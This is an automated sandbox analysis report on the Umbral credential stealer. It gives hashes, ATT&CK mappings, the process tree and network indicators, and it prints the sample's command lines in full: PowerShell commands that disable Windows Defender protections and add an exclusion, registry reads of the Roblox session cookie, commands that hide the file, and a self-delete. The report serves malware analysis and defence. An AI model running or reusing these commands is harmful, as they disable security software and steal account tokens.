umbral | f99bfa12c4d77132272330c8d2b2bcc2c928a24fa82d867c5c2025e1c2dea214

Analysis

max time kernel
15s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15-01-2025 15:58

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General

Target

Umbral.exe
Size

235KB
MD5

c4629d5b68b6564d03651b30e7a421b2
SHA1

24d0ba44fc82a268cd5bdc3e39cd0ff4d96f506d
SHA256

2a45fd4f683e43f40f69ad4b5fdd49fc7c7ab38ad5b9fb2243903889d2ef13a2
SHA512

4f2e0dc33c9896e181cb30554983c358d7d0a36d7e33282c902d7d92cd3a19676301776b81a3f03c0431d3fc825b6d9cb9cb884ef4c499014079d91302718715
SSDEEP

6144:LloZM+rIkd8g+EtXHkv/iD4LiDnwf1DA0r9SjVg8ZJHELb8e1mNZi:JoZtL+EP8L0nwf1DA0r9SjVg8ZJHul

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2028-1-0x0000000000AE0000-0x0000000000B20000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2800	powershell.exe
2592	powershell.exe
1340	powershell.exe
2696	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Deletes itself 1 IoCs

pid	Process
2304	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2304	cmd.exe
2080	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2244	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2080	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2028	Umbral.exe
2800	powershell.exe
2696	powershell.exe
2592	powershell.exe
1536	powershell.exe
1340	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2028	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2140	wmic.exe
Token: SeSecurityPrivilege	2140	wmic.exe
Token: SeTakeOwnershipPrivilege	2140	wmic.exe
Token: SeLoadDriverPrivilege	2140	wmic.exe
Token: SeSystemProfilePrivilege	2140	wmic.exe
Token: SeSystemtimePrivilege	2140	wmic.exe
Token: SeProfSingleProcessPrivilege	2140	wmic.exe
Token: SeIncBasePriorityPrivilege	2140	wmic.exe
Token: SeCreatePagefilePrivilege	2140	wmic.exe
Token: SeBackupPrivilege	2140	wmic.exe
Token: SeRestorePrivilege	2140	wmic.exe
Token: SeShutdownPrivilege	2140	wmic.exe
Token: SeDebugPrivilege	2140	wmic.exe
Token: SeSystemEnvironmentPrivilege	2140	wmic.exe
Token: SeRemoteShutdownPrivilege	2140	wmic.exe
Token: SeUndockPrivilege	2140	wmic.exe
Token: SeManageVolumePrivilege	2140	wmic.exe
Token: 33	2140	wmic.exe
Token: 34	2140	wmic.exe
Token: 35	2140	wmic.exe
Token: SeIncreaseQuotaPrivilege	2140	wmic.exe
Token: SeSecurityPrivilege	2140	wmic.exe
Token: SeTakeOwnershipPrivilege	2140	wmic.exe
Token: SeLoadDriverPrivilege	2140	wmic.exe
Token: SeSystemProfilePrivilege	2140	wmic.exe
Token: SeSystemtimePrivilege	2140	wmic.exe
Token: SeProfSingleProcessPrivilege	2140	wmic.exe
Token: SeIncBasePriorityPrivilege	2140	wmic.exe
Token: SeCreatePagefilePrivilege	2140	wmic.exe
Token: SeBackupPrivilege	2140	wmic.exe
Token: SeRestorePrivilege	2140	wmic.exe
Token: SeShutdownPrivilege	2140	wmic.exe
Token: SeDebugPrivilege	2140	wmic.exe
Token: SeSystemEnvironmentPrivilege	2140	wmic.exe
Token: SeRemoteShutdownPrivilege	2140	wmic.exe
Token: SeUndockPrivilege	2140	wmic.exe
Token: SeManageVolumePrivilege	2140	wmic.exe
Token: 33	2140	wmic.exe
Token: 34	2140	wmic.exe
Token: 35	2140	wmic.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	2928	wmic.exe
Token: SeSecurityPrivilege	2928	wmic.exe
Token: SeTakeOwnershipPrivilege	2928	wmic.exe
Token: SeLoadDriverPrivilege	2928	wmic.exe
Token: SeSystemProfilePrivilege	2928	wmic.exe
Token: SeSystemtimePrivilege	2928	wmic.exe
Token: SeProfSingleProcessPrivilege	2928	wmic.exe
Token: SeIncBasePriorityPrivilege	2928	wmic.exe
Token: SeCreatePagefilePrivilege	2928	wmic.exe
Token: SeBackupPrivilege	2928	wmic.exe
Token: SeRestorePrivilege	2928	wmic.exe
Token: SeShutdownPrivilege	2928	wmic.exe
Token: SeDebugPrivilege	2928	wmic.exe
Token: SeSystemEnvironmentPrivilege	2928	wmic.exe
Token: SeRemoteShutdownPrivilege	2928	wmic.exe
Token: SeUndockPrivilege	2928	wmic.exe
Token: SeManageVolumePrivilege	2928	wmic.exe
Token: 33	2928	wmic.exe
Token: 34	2928	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 2140	2028	Umbral.exe	31
PID 2028 wrote to memory of 2140	2028	Umbral.exe	31
PID 2028 wrote to memory of 2140	2028	Umbral.exe	31
PID 2028 wrote to memory of 2804	2028	Umbral.exe	34
PID 2028 wrote to memory of 2804	2028	Umbral.exe	34
PID 2028 wrote to memory of 2804	2028	Umbral.exe	34
PID 2028 wrote to memory of 2800	2028	Umbral.exe	36
PID 2028 wrote to memory of 2800	2028	Umbral.exe	36
PID 2028 wrote to memory of 2800	2028	Umbral.exe	36
PID 2028 wrote to memory of 2696	2028	Umbral.exe	38
PID 2028 wrote to memory of 2696	2028	Umbral.exe	38
PID 2028 wrote to memory of 2696	2028	Umbral.exe	38
PID 2028 wrote to memory of 2592	2028	Umbral.exe	40
PID 2028 wrote to memory of 2592	2028	Umbral.exe	40
PID 2028 wrote to memory of 2592	2028	Umbral.exe	40
PID 2028 wrote to memory of 1536	2028	Umbral.exe	42
PID 2028 wrote to memory of 1536	2028	Umbral.exe	42
PID 2028 wrote to memory of 1536	2028	Umbral.exe	42
PID 2028 wrote to memory of 2928	2028	Umbral.exe	44
PID 2028 wrote to memory of 2928	2028	Umbral.exe	44
PID 2028 wrote to memory of 2928	2028	Umbral.exe	44
PID 2028 wrote to memory of 2816	2028	Umbral.exe	46
PID 2028 wrote to memory of 2816	2028	Umbral.exe	46
PID 2028 wrote to memory of 2816	2028	Umbral.exe	46
PID 2028 wrote to memory of 1976	2028	Umbral.exe	48
PID 2028 wrote to memory of 1976	2028	Umbral.exe	48
PID 2028 wrote to memory of 1976	2028	Umbral.exe	48
PID 2028 wrote to memory of 1340	2028	Umbral.exe	50
PID 2028 wrote to memory of 1340	2028	Umbral.exe	50
PID 2028 wrote to memory of 1340	2028	Umbral.exe	50
PID 2028 wrote to memory of 2244	2028	Umbral.exe	52
PID 2028 wrote to memory of 2244	2028	Umbral.exe	52
PID 2028 wrote to memory of 2244	2028	Umbral.exe	52
PID 2028 wrote to memory of 2304	2028	Umbral.exe	54
PID 2028 wrote to memory of 2304	2028	Umbral.exe	54
PID 2028 wrote to memory of 2304	2028	Umbral.exe	54
PID 2304 wrote to memory of 2080	2304	cmd.exe	56
PID 2304 wrote to memory of 2080	2304	cmd.exe	56
PID 2304 wrote to memory of 2080	2304	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2804	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2140
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1536
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2928
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2816
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1340
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2244
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
bd329011d21784346d7fc0832b5aad62

SHA1
d6b1712a78c9231e10f421e89a1dc36860da8e28

SHA256
3b5ca1bd1b686de83ae09c8d6fc1123a16b0ab207051b103cde620f113925d6f

SHA512
87015f765f898673ec9f1c73062236cfc3dcc78d1ba7a51394925187a02b482277da1a0bd2e6f79f98c9caff03429e7a091f083ff20b4da38c570a9f938feb0a

Download Submit
memory/1340-43-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2028-0-0x000007FEF6053000-0x000007FEF6054000-memory.dmp

Filesize
4KB

Download
memory/2028-1-0x0000000000AE0000-0x0000000000B20000-memory.dmp

Filesize
256KB

Download
memory/2028-2-0x000007FEF6050000-0x000007FEF6A3C000-memory.dmp

Filesize
9.9MB

Download
memory/2028-47-0x000007FEF6050000-0x000007FEF6A3C000-memory.dmp

Filesize
9.9MB

Download
memory/2696-14-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2696-15-0x00000000003A0000-0x00000000003A8000-memory.dmp

Filesize
32KB

Download
memory/2800-7-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2800-8-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download